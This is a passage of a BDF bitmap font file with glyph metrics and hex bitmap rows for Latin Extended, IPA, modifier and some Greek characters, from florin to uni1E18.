ENDCHAR
STARTCHAR florin
ENCODING 402
SWIDTH 556 0
DWIDTH 6 0
BBX 5 9 0 -2
BITMAP
38
60
F8
60
60
60
60
60
C0
ENDCHAR
STARTCHAR uni0197
ENCODING 407
SWIDTH 278 0
DWIDTH 2 0
BBX 4 6 -1 0
BITMAP
40
40
F0
40
40
40
ENDCHAR
STARTCHAR uni019A
ENCODING 410
SWIDTH 278 0
DWIDTH 2 0
BBX 4 7 -1 0
BITMAP
40
40
40
F0
40
40
40
ENDCHAR
STARTCHAR uni019D
ENCODING 413
SWIDTH 722 0
DWIDTH 6 0
BBX 6 7 -1 -1
BITMAP
64
64
74
7C
6C
44
80
ENDCHAR
STARTCHAR uni019F
ENCODING 415
SWIDTH 778 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
D8
F8
C8
D8
70
ENDCHAR
STARTCHAR Ohorn
ENCODING 416
SWIDTH 778 0
DWIDTH 6 0
BBX 7 6 0 0
BITMAP
72
DA
CC
C8
D8
70
ENDCHAR
STARTCHAR ohorn
ENCODING 417
SWIDTH 611 0
DWIDTH 5 0
BBX 6 5 0 0
BITMAP
64
D4
D8
D0
60
ENDCHAR
STARTCHAR uni01A7
ENCODING 423
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
18
78
E0
D8
70
ENDCHAR
STARTCHAR uni01A8
ENCODING 424
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
E0
30
F0
C0
70
ENDCHAR
STARTCHAR uni01AE
ENCODING 430
SWIDTH 611 0
DWIDTH 6 0
BBX 5 7 0 -1
BITMAP
F8
60
60
60
60
20
10
ENDCHAR
STARTCHAR Uhorn
ENCODING 431
SWIDTH 722 0
DWIDTH 6 0
BBX 7 6 0 0
BITMAP
DA
DA
DC
D8
D8
70
ENDCHAR
STARTCHAR uhorn
ENCODING 432
SWIDTH 611 0
DWIDTH 5 0
BBX 6 5 0 0
BITMAP
D4
D4
D8
F0
50
ENDCHAR
STARTCHAR uni01B5
ENCODING 437
SWIDTH 611 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
FC
38
78
60
E0
F8
ENDCHAR
STARTCHAR uni01B6
ENCODING 438
SWIDTH 500 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
F0
30
F0
C0
F0
ENDCHAR
STARTCHAR uni01BB
ENCODING 443
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
B0
F0
60
C0
F0
ENDCHAR
STARTCHAR uni01BC
ENCODING 444
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
70
C0
E0
30
B0
60
ENDCHAR
STARTCHAR uni01C0
ENCODING 448
SWIDTH 280 0
DWIDTH 2 0
BBX 1 7 1 -1
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR uni01C2
ENCODING 450
SWIDTH 584 0
DWIDTH 5 0
BBX 4 7 0 -1
BITMAP
20
20
F0
20
F0
20
20
ENDCHAR
STARTCHAR uni01C3
ENCODING 451
SWIDTH 333 0
DWIDTH 3 0
BBX 2 7 0 0
BITMAP
C0
C0
C0
80
00
80
80
ENDCHAR
STARTCHAR uni01CD
ENCODING 461
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni01CE
ENCODING 462
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
50
20
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni01CF
ENCODING 463
SWIDTH 278 0
DWIDTH 2 0
BBX 3 9 -1 0
BITMAP
A0
40
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR uni01D0
ENCODING 464
SWIDTH 278 0
DWIDTH 3 0
BBX 3 9 0 0
BITMAP
A0
40
00
C0
C0
C0
C0
C0
C0
ENDCHAR
STARTCHAR uni01D1
ENCODING 465
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni01D2
ENCODING 466
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
40
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni01D3
ENCODING 467
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni01D4
ENCODING 468
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
40
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni01D5
ENCODING 469
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
30
00
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni01D6
ENCODING 470
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
00
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni01D7
ENCODING 471
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
10
20
00
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni01D8
ENCODING 472
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
10
20
00
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni01D9
ENCODING 473
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
50
20
00
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni01DA
ENCODING 474
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
50
20
00
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni01DB
ENCODING 475
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
40
20
00
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni01DC
ENCODING 476
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
40
20
00
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni01DD
ENCODING 477
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
30
F0
B0
60
ENDCHAR
STARTCHAR uni01DE
ENCODING 478
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
30
00
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni01DF
ENCODING 479
SWIDTH 556 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
60
00
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni01E0
ENCODING 480
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
30
00
20
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni01E1
ENCODING 481
SWIDTH 556 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
30
00
20
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni01E2
ENCODING 482
SWIDTH 1000 0
DWIDTH 8 0
BBX 7 8 0 0
BITMAP
18
00
7E
38
5E
F8
D8
DE
ENDCHAR
STARTCHAR uni01E3
ENCODING 483
SWIDTH 889 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
30
00
F8
34
7C
B0
7C
ENDCHAR
STARTCHAR uni01E4
ENCODING 484
SWIDTH 778 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
78
C8
C0
FC
C8
78
ENDCHAR
STARTCHAR uni01E5
ENCODING 485
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
D0
B0
B0
F0
F0
E0
ENDCHAR
STARTCHAR Gcaron
ENCODING 486
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR gcaron
ENCODING 487
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
50
20
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR uni01E8
ENCODING 488
SWIDTH 722 0
DWIDTH 6 0
BBX 6 9 0 0
BITMAP
50
20
00
D8
D0
E0
F0
D8
CC
ENDCHAR
STARTCHAR uni01E9
ENCODING 489
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
A0
40
00
C0
C0
D0
D0
E0
D0
D0
ENDCHAR
STARTCHAR uni01EA
ENCODING 490
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
70
D8
C8
C8
D8
70
20
30
ENDCHAR
STARTCHAR uni01EB
ENCODING 491
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
D0
D0
D0
60
40
60
ENDCHAR
STARTCHAR uni01EC
ENCODING 492
SWIDTH 778 0
DWIDTH 6 0
BBX 5 10 0 -2
BITMAP
60
00
70
D8
C8
C8
D8
70
20
30
ENDCHAR
STARTCHAR uni01ED
ENCODING 493
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
60
00
60
D0
D0
D0
60
40
60
ENDCHAR
STARTCHAR uni01F0
ENCODING 496
SWIDTH 278 0
DWIDTH 2 0
BBX 3 9 -1 -1
BITMAP
A0
40
00
40
40
40
40
40
80
ENDCHAR
STARTCHAR uni01F4
ENCODING 500
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR uni01F5
ENCODING 501
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
20
40
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR uni01F8
ENCODING 504
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
40
20
00
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR uni01F9
ENCODING 505
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
80
40
00
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR Aringacute
ENCODING 506
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
20
50
20
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR aringacute
ENCODING 507
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
20
40
00
40
A0
40
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR AEacute
ENCODING 508
SWIDTH 1000 0
DWIDTH 8 0
BBX 7 9 0 0
BITMAP
08
10
00
7E
38
5E
F8
D8
DE
ENDCHAR
STARTCHAR aeacute
ENCODING 509
SWIDTH 889 0
DWIDTH 7 0
BBX 6 8 0 0
BITMAP
10
20
00
F8
34
7C
B0
7C
ENDCHAR
STARTCHAR Oslashacute
ENCODING 510
SWIDTH 778 0
DWIDTH 6 0
BBX 7 10 -1 -1
BITMAP
08
10
00
3A
6C
6C
74
6C
78
80
ENDCHAR
STARTCHAR oslashacute
ENCODING 511
SWIDTH 611 0
DWIDTH 5 0
BBX 6 10 -1 -1
BITMAP
08
10
00
04
38
68
68
68
70
80
ENDCHAR
STARTCHAR uni0200
ENCODING 512
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
A0
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni0201
ENCODING 513
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
A0
50
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni0202
ENCODING 514
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni0203
ENCODING 515
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
60
90
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni0204
ENCODING 516
SWIDTH 667 0
DWIDTH 5 0
BBX 5 9 -1 0
BITMAP
A0
50
00
78
60
78
60
60
78
ENDCHAR
STARTCHAR uni0205
ENCODING 517
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni0206
ENCODING 518
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni0207
ENCODING 519
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
60
90
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni0208
ENCODING 520
SWIDTH 278 0
DWIDTH 2 0
BBX 4 9 -2 0
BITMAP
A0
50
00
20
20
20
20
20
20
ENDCHAR
STARTCHAR uni0209
ENCODING 521
SWIDTH 278 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
A0
50
00
60
60
60
60
60
60
ENDCHAR
STARTCHAR uni020A
ENCODING 522
SWIDTH 278 0
DWIDTH 2 0
BBX 4 9 -1 0
BITMAP
60
90
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR uni020B
ENCODING 523
SWIDTH 278 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
60
90
00
60
60
60
60
60
60
ENDCHAR
STARTCHAR uni020C
ENCODING 524
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
A0
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni020D
ENCODING 525
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni020E
ENCODING 526
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni020F
ENCODING 527
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
60
90
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni0210
ENCODING 528
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
A0
50
00
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR uni0211
ENCODING 529
SWIDTH 389 0
DWIDTH 3 0
BBX 4 8 -1 0
BITMAP
A0
50
00
50
70
60
60
60
ENDCHAR
STARTCHAR uni0212
ENCODING 530
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
60
90
00
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR uni0213
ENCODING 531
SWIDTH 389 0
DWIDTH 3 0
BBX 4 8 0 0
BITMAP
60
90
00
A0
E0
C0
C0
C0
ENDCHAR
STARTCHAR uni0214
ENCODING 532
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
A0
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni0215
ENCODING 533
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni0216
ENCODING 534
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni0217
ENCODING 535
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
60
90
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Scommaaccent
ENCODING 536
SWIDTH 667 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
78
C0
F0
38
D8
70
00
20
20
40
ENDCHAR
STARTCHAR scommaaccent
ENCODING 537
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -4
BITMAP
70
C0
F0
30
E0
00
20
20
40
ENDCHAR
STARTCHAR Tcommaaccent
ENCODING 538
SWIDTH 611 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
F8
60
60
60
60
60
00
20
20
40
ENDCHAR
STARTCHAR tcommaaccent
ENCODING 539
SWIDTH 333 0
DWIDTH 3 0
BBX 4 11 -1 -4
BITMAP
20
60
F0
60
60
60
30
00
20
20
40
ENDCHAR
STARTCHAR uni021E
ENCODING 542
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
D8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR uni021F
ENCODING 543
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
A0
40
00
C0
C0
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR uni0226
ENCODING 550
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni0227
ENCODING 551
SWIDTH 556 0
DWIDTH 5 0
BBX 5 7 0 0
BITMAP
20
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni0228
ENCODING 552
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
F0
C0
F0
C0
C0
F0
40
C0
ENDCHAR
STARTCHAR uni0229
ENCODING 553
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
D0
F0
C0
60
40
C0
ENDCHAR
STARTCHAR uni022A
ENCODING 554
SWIDTH 778 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
30
00
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni022B
ENCODING 555
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
00
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni022C
ENCODING 556
SWIDTH 778 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
30
00
28
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni022D
ENCODING 557
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
60
00
50
A0
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni022E
ENCODING 558
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni022F
ENCODING 559
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni0230
ENCODING 560
SWIDTH 778 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
30
00
20
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni0231
ENCODING 561
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
00
40
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni0232
ENCODING 562
SWIDTH 667 0
DWIDTH 7 0
BBX 6 8 0 0
BITMAP
30
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR uni0233
ENCODING 563
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
60
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR uni0250
ENCODING 592
SWIDTH 556 0
DWIDTH 5 0
BBX 5 5 0 0
BITMAP
D8
68
78
60
38
ENDCHAR
STARTCHAR uni0254
ENCODING 596
SWIDTH 556 0
DWIDTH 4 0
BBX 3 5 0 0
BITMAP
C0
60
60
60
C0
ENDCHAR
STARTCHAR uni0258
ENCODING 600
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
B0
F0
30
60
ENDCHAR
STARTCHAR uni0259
ENCODING 601
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
30
F0
B0
60
ENDCHAR
STARTCHAR uni025F
ENCODING 607
SWIDTH 333 0
DWIDTH 3 0
BBX 4 7 -1 -2
BITMAP
60
60
60
60
F0
60
C0
ENDCHAR
STARTCHAR uni0265
ENCODING 613
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
B0
B0
B0
B0
70
30
30
ENDCHAR
STARTCHAR uni0275
ENCODING 629
SWIDTH 611 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
D0
F0
D0
60
ENDCHAR
STARTCHAR uni0279
ENCODING 633
SWIDTH 389 0
DWIDTH 3 0
BBX 3 5 0 0
BITMAP
60
60
60
E0
A0
ENDCHAR
STARTCHAR uni0287
ENCODING 647
SWIDTH 333 0
DWIDTH 3 0
BBX 4 7 -1 0
BITMAP
C0
60
60
60
F0
60
40
ENDCHAR
STARTCHAR uni0288
ENCODING 648
SWIDTH 333 0
DWIDTH 3 0
BBX 4 8 -1 -1
BITMAP
20
60
F0
60
60
60
20
10
ENDCHAR
STARTCHAR uni0289
ENCODING 649
SWIDTH 611 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
D0
D0
F0
F0
50
ENDCHAR
STARTCHAR uni028C
ENCODING 652
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
20
60
B0
B0
B0
ENDCHAR
STARTCHAR uni028D
ENCODING 653
SWIDTH 778 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
90
F8
F8
A8
A8
ENDCHAR
STARTCHAR uni028E
ENCODING 654
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
60
E0
B0
B0
B0
ENDCHAR
STARTCHAR uni029E
ENCODING 670
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
B0
B0
70
B0
B0
30
30
ENDCHAR
STARTCHAR uni02BB
ENCODING 699
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
40
80
80
ENDCHAR
STARTCHAR afii57929
ENCODING 700
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
40
40
80
ENDCHAR
STARTCHAR afii64937
ENCODING 701
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
80
80
40
ENDCHAR
STARTCHAR circumflex
ENCODING 710
SWIDTH 333 0
DWIDTH 4 0
BBX 3 2 0 6
BITMAP
40
A0
ENDCHAR
STARTCHAR caron
ENCODING 711
SWIDTH 333 0
DWIDTH 4 0
BBX 3 2 0 6
BITMAP
A0
40
ENDCHAR
STARTCHAR uni02C8
ENCODING 712
SWIDTH 238 0
DWIDTH 3 0
BBX 1 3 1 5
BITMAP
80
80
80
ENDCHAR
STARTCHAR macron
ENCODING 713
SWIDTH 333 0
DWIDTH 2 0
BBX 2 1 0 5
BITMAP
C0
ENDCHAR
STARTCHAR uni02CA
ENCODING 714
SWIDTH 333 0
DWIDTH 2 0
BBX 2 2 0 5
BITMAP
40
80
ENDCHAR
STARTCHAR uni02CB
ENCODING 715
SWIDTH 333 0
DWIDTH 3 0
BBX 2 2 0 6
BITMAP
80
40
ENDCHAR
STARTCHAR uni02CD
ENCODING 717
SWIDTH 333 0
DWIDTH 2 0
BBX 2 1 0 -2
BITMAP
C0
ENDCHAR
STARTCHAR uni02CE
ENCODING 718
SWIDTH 333 0
DWIDTH 3 0
BBX 2 2 0 -3
BITMAP
80
40
ENDCHAR
STARTCHAR uni02CF
ENCODING 719
SWIDTH 333 0
DWIDTH 2 0
BBX 2 2 0 -3
BITMAP
40
80
ENDCHAR
STARTCHAR breve
ENCODING 728
SWIDTH 333 0
DWIDTH 4 0
BBX 4 2 0 6
BITMAP
90
60
ENDCHAR
STARTCHAR dotaccent
ENCODING 729
SWIDTH 333 0
DWIDTH 2 0
BBX 1 1 0 7
BITMAP
80
ENDCHAR
STARTCHAR ring
ENCODING 730
SWIDTH 333 0
DWIDTH 4 0
BBX 3 3 0 5
BITMAP
40
A0
40
ENDCHAR
STARTCHAR ogonek
ENCODING 731
SWIDTH 333 0
DWIDTH 3 0
BBX 2 2 0 -2
BITMAP
80
C0
ENDCHAR
STARTCHAR tilde
ENCODING 732
SWIDTH 333 0
DWIDTH 4 0
BBX 4 2 0 6
BITMAP
50
A0
ENDCHAR
STARTCHAR hungarumlaut
ENCODING 733
SWIDTH 333 0
DWIDTH 5 0
BBX 4 2 0 6
BITMAP
50
A0
ENDCHAR
STARTCHAR uni02EE
ENCODING 750
SWIDTH 500 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
D8
48
90
ENDCHAR
STARTCHAR uni037E
ENCODING 894
SWIDTH 333 0
DWIDTH 2 0
BBX 2 6 -1 -1
BITMAP
40
40
00
40
40
80
ENDCHAR
STARTCHAR tonos
ENCODING 900
SWIDTH 333 0
DWIDTH 2 0
BBX 2 2 0 5
BITMAP
40
80
ENDCHAR
STARTCHAR dieresistonos
ENCODING 901
SWIDTH 333 0
DWIDTH 2 0
BBX 3 4 0 5
BITMAP
20
40
00
A0
ENDCHAR
STARTCHAR anoteleia
ENCODING 903
SWIDTH 278 0
DWIDTH 2 0
BBX 2 2 0 2
BITMAP
C0
C0
ENDCHAR
STARTCHAR mu
ENCODING 956
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
F0
90
C0
C0
ENDCHAR
STARTCHAR uni1E00
ENCODING 7680
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
70
D8
D8
F8
D8
D8
00
20
50
20
ENDCHAR
STARTCHAR uni1E01
ENCODING 7681
SWIDTH 556 0
DWIDTH 5 0
BBX 5 9 0 -4
BITMAP
E0
30
F0
B0
D8
00
20
50
20
ENDCHAR
STARTCHAR uni1E02
ENCODING 7682
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
F0
D8
F0
D8
D8
F0
ENDCHAR
STARTCHAR uni1E03
ENCODING 7683
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
00
C0
C0
E0
D0
D0
D0
E0
ENDCHAR
STARTCHAR uni1E04
ENCODING 7684
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
F0
D8
D8
F0
00
20
ENDCHAR
STARTCHAR uni1E05
ENCODING 7685
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
E0
D0
D0
D0
E0
00
40
ENDCHAR
STARTCHAR uni1E06
ENCODING 7686
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
F0
D8
D8
F0
00
60
ENDCHAR
STARTCHAR uni1E07
ENCODING 7687
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
E0
D0
D0
D0
E0
00
60
ENDCHAR
STARTCHAR uni1E08
ENCODING 7688
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 -2
BITMAP
10
20
00
78
C8
C0
C0
C8
78
20
60
ENDCHAR
STARTCHAR uni1E09
ENCODING 7689
SWIDTH 556 0
DWIDTH 4 0
BBX 3 10 0 -2
BITMAP
20
40
00
60
C0
C0
C0
60
40
C0
ENDCHAR
STARTCHAR uni1E0A
ENCODING 7690
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
F0
D8
D8
D8
D8
F0
ENDCHAR
STARTCHAR uni1E0B
ENCODING 7691
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
00
30
30
70
B0
B0
B0
70
ENDCHAR
STARTCHAR uni1E0C
ENCODING 7692
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
D8
D8
D8
F0
00
20
ENDCHAR
STARTCHAR uni1E0D
ENCODING 7693
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
30
30
70
B0
B0
B0
70
00
20
ENDCHAR
STARTCHAR uni1E0E
ENCODING 7694
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
D8
D8
D8
F0
00
60
ENDCHAR
STARTCHAR uni1E0F
ENCODING 7695
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
30
30
70
B0
B0
B0
70
00
60
ENDCHAR
STARTCHAR uni1E10
ENCODING 7696
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
D8
D8
D8
F0
20
60
ENDCHAR
STARTCHAR uni1E11
ENCODING 7697
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
30
30
70
B0
B0
B0
70
20
60
ENDCHAR
STARTCHAR uni1E12
ENCODING 7698
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
F0
D8
D8
D8
D8
F0
00
20
50
ENDCHAR
STARTCHAR uni1E13
ENCODING 7699
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -3
BITMAP
30
30
70
B0
B0
B0
70
00
20
50
ENDCHAR
STARTCHAR uni1E14
ENCODING 7700
SWIDTH 667 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
40
20
00
60
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1E15
ENCODING 7701
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
40
20
00
60
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1E16
ENCODING 7702
SWIDTH 667 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
20
40
00
60
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1E17
ENCODING 7703
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
20
40
00
60
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1E18
ENCODING 7704
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 -3
BITMAP
F0
C0
F0
C0
C0
F0
00
40
A0
ENDCHAR
STARTCHAR uni1E19
ENCODING 7705
